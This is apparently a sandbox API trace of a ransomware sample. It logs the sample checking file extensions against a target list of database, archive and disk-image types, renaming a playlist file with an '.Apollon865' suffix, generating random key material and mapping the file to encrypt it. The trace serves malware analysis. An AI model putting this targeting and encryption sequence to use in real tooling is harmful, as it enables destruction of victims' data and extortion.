	[0060.996] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0060.996] lstrlenW (lpString="rar") returned 3
	[0060.996] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0060.996] lstrlenW (lpString="zip") returned 3
	[0060.996] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0060.996] lstrlenW (lpString="tgz") returned 3
	[0060.996] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0060.996] lstrlenW (lpString="vbox") returned 4
	[0060.996] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0060.996] lstrlenW (lpString="vdi") returned 3
	[0060.996] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0060.996] lstrlenW (lpString="vhd") returned 3
	[0060.996] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0060.996] lstrlenW (lpString="vhdx") returned 4
	[0060.996] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0060.996] lstrlenW (lpString="avhd") returned 4
	[0060.996] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0060.996] lstrlenW (lpString="db") returned 2
	[0060.996] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0060.996] lstrlenW (lpString="db2") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0060.997] lstrlenW (lpString="db3") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0060.997] lstrlenW (lpString="dbf") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0060.997] lstrlenW (lpString="mdf") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0060.997] lstrlenW (lpString="mdb") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0060.997] lstrlenW (lpString="sql") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0060.997] lstrlenW (lpString="sqlite") returned 6
	[0060.997] lstrcmpiW (lpString1="rs.wpl", lpString2="sqlite") returned -1
	[0060.997] lstrlenW (lpString="sqlite3") returned 7
	[0060.997] lstrcmpiW (lpString1="ars.wpl", lpString2="sqlite3") returned -1
	[0060.997] lstrlenW (lpString="sqlitedb") returned 8
	[0060.997] lstrcmpiW (lpString1="tars.wpl", lpString2="sqlitedb") returned 1
	[0060.997] lstrlenW (lpString="xml") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0060.997] lstrlenW (lpString="$er") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0060.997] lstrlenW (lpString="4dd") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0060.997] lstrlenW (lpString="4dl") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0060.997] lstrlenW (lpString="^^^") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0060.997] lstrlenW (lpString="abs") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0060.997] lstrlenW (lpString="abx") returned 3
	[0060.997] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0060.997] lstrlenW (lpString="accdb") returned 5
	[0060.997] lstrcmpiW (lpString1="s.wpl", lpString2="accdb") returned 1
	[0060.998] lstrlenW (lpString="accdc") returned 5
	[0060.998] lstrcmpiW (lpString1="s.wpl", lpString2="accdc") returned 1
	[0060.998] lstrlenW (lpString="accde") returned 5
	[0060.998] lstrcmpiW (lpString1="s.wpl", lpString2="accde") returned 1
	[0060.998] lstrlenW (lpString="accdr") returned 5
	[0060.998] lstrcmpiW (lpString1="s.wpl", lpString2="accdr") returned 1
	[0060.998] lstrlenW (lpString="accdt") returned 5
	[0060.998] lstrcmpiW (lpString1="s.wpl", lpString2="accdt") returned 1
	[0060.998] lstrlenW (lpString="accdw") returned 5
	[0060.998] lstrcmpiW (lpString1="s.wpl", lpString2="accdw") returned 1
	[0060.998] lstrlenW (lpString="accft") returned 5
	[0060.998] lstrcmpiW (lpString1="s.wpl", lpString2="accft") returned 1
	[0060.998] lstrlenW (lpString="adb") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0060.998] lstrlenW (lpString="adb") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0060.998] lstrlenW (lpString="ade") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0060.998] lstrlenW (lpString="adf") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0060.998] lstrlenW (lpString="adn") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0060.998] lstrlenW (lpString="adp") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0060.998] lstrlenW (lpString="alf") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0060.998] lstrlenW (lpString="ask") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0060.998] lstrlenW (lpString="btr") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0060.998] lstrlenW (lpString="cat") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0060.998] lstrlenW (lpString="cdb") returned 3
	[0060.998] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0060.999] lstrlenW (lpString="ckp") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0060.999] lstrlenW (lpString="cma") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0060.999] lstrlenW (lpString="cpd") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0060.999] lstrlenW (lpString="dacpac") returned 6
	[0060.999] lstrcmpiW (lpString1="rs.wpl", lpString2="dacpac") returned 1
	[0060.999] lstrlenW (lpString="dad") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0060.999] lstrlenW (lpString="dadiagrams") returned 10
	[0060.999] lstrcmpiW (lpString1="_stars.wpl", lpString2="dadiagrams") returned -1
	[0060.999] lstrlenW (lpString="daschema") returned 8
	[0060.999] lstrcmpiW (lpString1="tars.wpl", lpString2="daschema") returned 1
	[0060.999] lstrlenW (lpString="db-journal") returned 10
	[0060.999] lstrcmpiW (lpString1="_stars.wpl", lpString2="db-journal") returned -1
	[0060.999] lstrlenW (lpString="db-shm") returned 6
	[0060.999] lstrcmpiW (lpString1="rs.wpl", lpString2="db-shm") returned 1
	[0060.999] lstrlenW (lpString="db-wal") returned 6
	[0060.999] lstrcmpiW (lpString1="rs.wpl", lpString2="db-wal") returned 1
	[0060.999] lstrlenW (lpString="dbc") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0060.999] lstrlenW (lpString="dbs") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0060.999] lstrlenW (lpString="dbt") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0060.999] lstrlenW (lpString="dbv") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0060.999] lstrlenW (lpString="dbx") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0060.999] lstrlenW (lpString="dcb") returned 3
	[0060.999] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0060.999] lstrlenW (lpString="dct") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.000] lstrlenW (lpString="dcx") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.000] lstrlenW (lpString="ddl") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.000] lstrlenW (lpString="dlis") returned 4
	[0061.000] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.000] lstrlenW (lpString="dp1") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.000] lstrlenW (lpString="dqy") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.000] lstrlenW (lpString="dsk") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.000] lstrlenW (lpString="dsn") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.000] lstrlenW (lpString="dtsx") returned 4
	[0061.000] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.000] lstrlenW (lpString="dxl") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.000] lstrlenW (lpString="eco") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.000] lstrlenW (lpString="ecx") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.000] lstrlenW (lpString="edb") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.000] lstrlenW (lpString="epim") returned 4
	[0061.000] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.000] lstrlenW (lpString="fcd") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.000] lstrlenW (lpString="fdb") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.000] lstrlenW (lpString="fic") returned 3
	[0061.000] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.000] lstrlenW (lpString="flexolibrary") returned 12
	[0061.001] lstrcmpiW (lpString1="_5_stars.wpl", lpString2="flexolibrary") returned -1
	[0061.001] lstrlenW (lpString="fm5") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.001] lstrlenW (lpString="fmp") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.001] lstrlenW (lpString="fmp12") returned 5
	[0061.001] lstrcmpiW (lpString1="s.wpl", lpString2="fmp12") returned 1
	[0061.001] lstrlenW (lpString="fmpsl") returned 5
	[0061.001] lstrcmpiW (lpString1="s.wpl", lpString2="fmpsl") returned 1
	[0061.001] lstrlenW (lpString="fol") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.001] lstrlenW (lpString="fp3") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.001] lstrlenW (lpString="fp4") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.001] lstrlenW (lpString="fp5") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.001] lstrlenW (lpString="fp7") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.001] lstrlenW (lpString="fpt") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.001] lstrlenW (lpString="frm") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.001] lstrlenW (lpString="gdb") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.001] lstrlenW (lpString="gdb") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.001] lstrlenW (lpString="grdb") returned 4
	[0061.001] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.001] lstrlenW (lpString="gwi") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.001] lstrlenW (lpString="hdb") returned 3
	[0061.001] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.002] lstrlenW (lpString="his") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.002] lstrlenW (lpString="ib") returned 2
	[0061.002] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.002] lstrlenW (lpString="idb") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.002] lstrlenW (lpString="ihx") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.002] lstrlenW (lpString="itdb") returned 4
	[0061.002] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.002] lstrlenW (lpString="itw") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.002] lstrlenW (lpString="jet") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.002] lstrlenW (lpString="jtx") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.002] lstrlenW (lpString="kdb") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.002] lstrlenW (lpString="kexi") returned 4
	[0061.002] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.002] lstrlenW (lpString="kexic") returned 5
	[0061.002] lstrcmpiW (lpString1="s.wpl", lpString2="kexic") returned 1
	[0061.002] lstrlenW (lpString="kexis") returned 5
	[0061.002] lstrcmpiW (lpString1="s.wpl", lpString2="kexis") returned 1
	[0061.002] lstrlenW (lpString="lgc") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.002] lstrlenW (lpString="lwx") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.002] lstrlenW (lpString="maf") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.002] lstrlenW (lpString="maq") returned 3
	[0061.002] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.003] lstrlenW (lpString="mar") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.003] lstrlenW (lpString="marshal") returned 7
	[0061.003] lstrcmpiW (lpString1="ars.wpl", lpString2="marshal") returned -1
	[0061.003] lstrlenW (lpString="mas") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.003] lstrlenW (lpString="mav") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.003] lstrlenW (lpString="maw") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.003] lstrlenW (lpString="mdbhtml") returned 7
	[0061.003] lstrcmpiW (lpString1="ars.wpl", lpString2="mdbhtml") returned -1
	[0061.003] lstrlenW (lpString="mdn") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.003] lstrlenW (lpString="mdt") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.003] lstrlenW (lpString="mfd") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.003] lstrlenW (lpString="mpd") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.003] lstrlenW (lpString="mrg") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.003] lstrlenW (lpString="mud") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.003] lstrlenW (lpString="mwb") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.003] lstrlenW (lpString="myd") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.003] lstrlenW (lpString="ndf") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.003] lstrlenW (lpString="nnt") returned 3
	[0061.003] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.003] lstrlenW (lpString="nrmlib") returned 6
	[0061.003] lstrcmpiW (lpString1="rs.wpl", lpString2="nrmlib") returned 1
	[0061.004] lstrlenW (lpString="ns2") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.004] lstrlenW (lpString="ns3") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.004] lstrlenW (lpString="ns4") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.004] lstrlenW (lpString="nsf") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.004] lstrlenW (lpString="nv") returned 2
	[0061.004] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.004] lstrlenW (lpString="nv2") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.004] lstrlenW (lpString="nwdb") returned 4
	[0061.004] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.004] lstrlenW (lpString="nyf") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.004] lstrlenW (lpString="odb") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.004] lstrlenW (lpString="odb") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.004] lstrlenW (lpString="oqy") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.004] lstrlenW (lpString="ora") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.004] lstrlenW (lpString="orx") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.004] lstrlenW (lpString="owc") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.004] lstrlenW (lpString="p96") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.004] lstrlenW (lpString="p97") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.004] lstrlenW (lpString="pan") returned 3
	[0061.004] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.004] lstrlenW (lpString="pdb") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.005] lstrlenW (lpString="pdm") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.005] lstrlenW (lpString="pnz") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.005] lstrlenW (lpString="qry") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.005] lstrlenW (lpString="qvd") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.005] lstrlenW (lpString="rbf") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.005] lstrlenW (lpString="rctd") returned 4
	[0061.005] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.005] lstrlenW (lpString="rod") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.005] lstrlenW (lpString="rodx") returned 4
	[0061.005] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.005] lstrlenW (lpString="rpd") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.005] lstrlenW (lpString="rsd") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.005] lstrlenW (lpString="sas7bdat") returned 8
	[0061.005] lstrcmpiW (lpString1="tars.wpl", lpString2="sas7bdat") returned 1
	[0061.005] lstrlenW (lpString="sbf") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.005] lstrlenW (lpString="scx") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.005] lstrlenW (lpString="sdb") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.005] lstrlenW (lpString="sdc") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.005] lstrlenW (lpString="sdf") returned 3
	[0061.005] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.005] lstrlenW (lpString="sis") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.006] lstrlenW (lpString="spq") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.006] lstrlenW (lpString="te") returned 2
	[0061.006] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.006] lstrlenW (lpString="teacher") returned 7
	[0061.006] lstrcmpiW (lpString1="ars.wpl", lpString2="teacher") returned -1
	[0061.006] lstrlenW (lpString="tmd") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.006] lstrlenW (lpString="tps") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.006] lstrlenW (lpString="trc") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.006] lstrlenW (lpString="trc") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.006] lstrlenW (lpString="trm") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.006] lstrlenW (lpString="udb") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.006] lstrlenW (lpString="udl") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.006] lstrlenW (lpString="usr") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.006] lstrlenW (lpString="v12") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.006] lstrlenW (lpString="vis") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.006] lstrlenW (lpString="vpd") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.006] lstrlenW (lpString="vvv") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.006] lstrlenW (lpString="wdb") returned 3
	[0061.006] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.006] lstrlenW (lpString="wmdb") returned 4
	[0061.006] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.007] lstrlenW (lpString="wrk") returned 3
	[0061.007] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.007] lstrlenW (lpString="xdb") returned 3
	[0061.007] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.007] lstrlenW (lpString="xld") returned 3
	[0061.007] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.007] lstrlenW (lpString="xmlff") returned 5
	[0061.007] lstrcmpiW (lpString1="s.wpl", lpString2="xmlff") returned -1
	[0061.007] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.Apollon865") returned 129
	[0061.007] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.008] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0061.008] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1044) returned 1
	[0061.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0061.009] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.009] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.009] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.010] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x720, lpName=0x0) returned 0x15c
	[0061.015] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x720) returned 0x100000
	[0061.025] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0061.037] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.037] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0061.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0061.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.054] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.057] CloseHandle (hObject=0x15c) returned 1
	[0061.060] CloseHandle (hObject=0x150) returned 1
	[0061.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.068] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
	[0061.068] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
